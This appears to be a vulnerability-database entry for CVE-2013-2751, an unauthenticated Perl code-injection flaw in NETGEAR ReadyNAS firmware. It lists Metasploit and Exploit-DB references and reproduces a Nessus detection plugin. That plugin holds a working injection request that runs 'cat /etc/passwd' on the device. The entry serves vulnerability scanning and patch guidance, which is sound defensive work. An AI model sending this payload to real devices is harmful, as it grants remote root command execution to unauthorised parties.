Vulnerabilities > CVE-2013-2751 - Code Injection vulnerability in Netgear Raidiator

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
netgear
CWE-94
critical
nessus
exploit available
metasploit

Summary

Eval injection vulnerability in frontview/lib/np_handler.pl in the FrontView web interface in NETGEAR ReadyNAS RAIDiator before 4.1.12 and 4.2.x before 4.2.24 allows remote attackers to execute arbitrary Perl code via a crafted request, related to the "forgot password workflow."

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Exploit-Db

descriptionNETGEAR ReadyNAS Perl Code Evaluation. CVE-2013-2751. Remote exploit for hardware platform
fileexploits/hardware/remote/29815.rb
idEDB-ID:29815
last seen2016-02-03
modified2013-11-25
platformhardware
port443
published2013-11-25
reportermetasploit
sourcehttps://www.exploit-db.com/download/29815/
titleNETGEAR ReadyNAS Perl Code Evaluation
typeremote

Metasploit

descriptionThis module exploits a Perl code injection on NETGEAR ReadyNAS 4.2.23 and 4.1.11. The vulnerability exists on the web front end, specifically in the np_handler.pl component, due to an insecure usage of the eval() perl function. This module has been tested successfully on a NETGEAR ReadyNAS 4.2.23 Firmware emulated environment.
idMSF:EXPLOIT/LINUX/HTTP/NETGEAR_READYNAS_EXEC
last seen2020-06-08
modified2017-07-24
published2013-10-24
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/netgear_readynas_exec.rb
titleNETGEAR ReadyNAS Perl Code Evaluation

Nessus

NASL familyCGI abuses
NASL idNETGEAR_READYNAS_RCE.NASL
descriptionThe remote NETGEAR ReadyNAS device is affected by a flaw in the np_handler.pl script that allows an unauthenticated, remote attacker to execute arbitrary commands with root privileges.
last seen2020-06-01
modified2020-06-02
plugin id70585
published2013-10-24
reporterThis script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/70585
titleNETGEAR ReadyNAS Remote Unauthenticated Command Execution
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(70585);
  script_version("1.10");
  script_cvs_date("Date: 2019/11/27");

  script_cve_id("CVE-2013-2751");
  script_bugtraq_id(62059);
  script_xref(name:"EDB-ID", value:"29815");

  script_name(english:"NETGEAR ReadyNAS Remote Unauthenticated Command Execution");
  script_summary(english:"Attempts to get contents of /etc/passwd.");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is affected by a command execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote NETGEAR ReadyNAS device is affected by a flaw in the
np_handler.pl script that allows an unauthenticated, remote attacker
to execute arbitrary commands with root privileges.");
  # https://web.archive.org/web/20131204060551/http://www.readynas.com/?p=7002
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?c64fe754");
  # http://www.tripwire.com/state-of-security/vulnerability-management/readynas-flaw-allows-root-access-unauthenticated-http-request/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?aea7a16f");
  script_set_attribute(attribute:"solution", value:
"Upgrade the software on the device to version 4.2.24 or higher.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'NETGEAR ReadyNAS Perl Code Evaluation');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/10/22");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/07/12");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/10/24");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:netgear:raidiator");
  script_set_attribute(attribute:"cpe", value:"cpe:/h:netgear:readynas_raidiator");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("netgear_www_detect.nbin");
  script_require_keys("installed_sw/Netgear WWW");
  script_require_ports("Services/www", 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("install_func.inc");
include("misc_func.inc");
include("http.inc");

get_install_count(app_name:"Netgear WWW", exit_if_zero:TRUE);
port = get_http_port(default:443, embedded:TRUE);
install = get_single_install(app_name:"Netgear WWW", port:port);

# ReadyNAS uses Apache Web Server
server_header = http_server_header(port:port);
if ('Apache' >!< server_header) audit(AUDIT_WRONG_WEB_SERVER, port, 'Apache');

# see if we can access vulnerable script
res = http_send_recv3(port:port, method:"GET", item:"/np_handler/", exit_on_fail:TRUE);

if("<payload>Empty No Support</payload>" >!< res[2])
  audit(AUDIT_LISTEN_NOT_VULN, "Apache Web Server", port);

exploit_req = "/np_handler/np_handler.pl?PAGE=User&OPERATION=get&OUTER_TAB=tab_myshares&" +
              "addr=%22%29%3b$xml_payload_header=%28%60cat%20/etc/passwd%60.%22";

res = http_send_recv3(port:port, method:"GET", item:exploit_req, exit_on_fail:TRUE);

if(res[2] =~ "root:.*:0:[01]:" && "ReadyNAS" >< res[2])
{
  security_report_v4(
    port: port,
    severity: SECURITY_HOLE,
    cmd: "cat /etc/passwd",
    request: make_list(build_url(qs:exploit_req, port:port)),
    output: res[2]);
}
else audit(AUDIT_LISTEN_NOT_VULN, "ReadyNAS Web Server", port);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/124169/netgear_readynas_exec.rb.txt
idPACKETSTORM:124169
last seen2016-12-05
published2013-11-25
reporterH D Moore
sourcehttps://packetstormsecurity.com/files/124169/NETGEAR-ReadyNAS-Perl-Code-Evaluation.html
titleNETGEAR ReadyNAS Perl Code Evaluation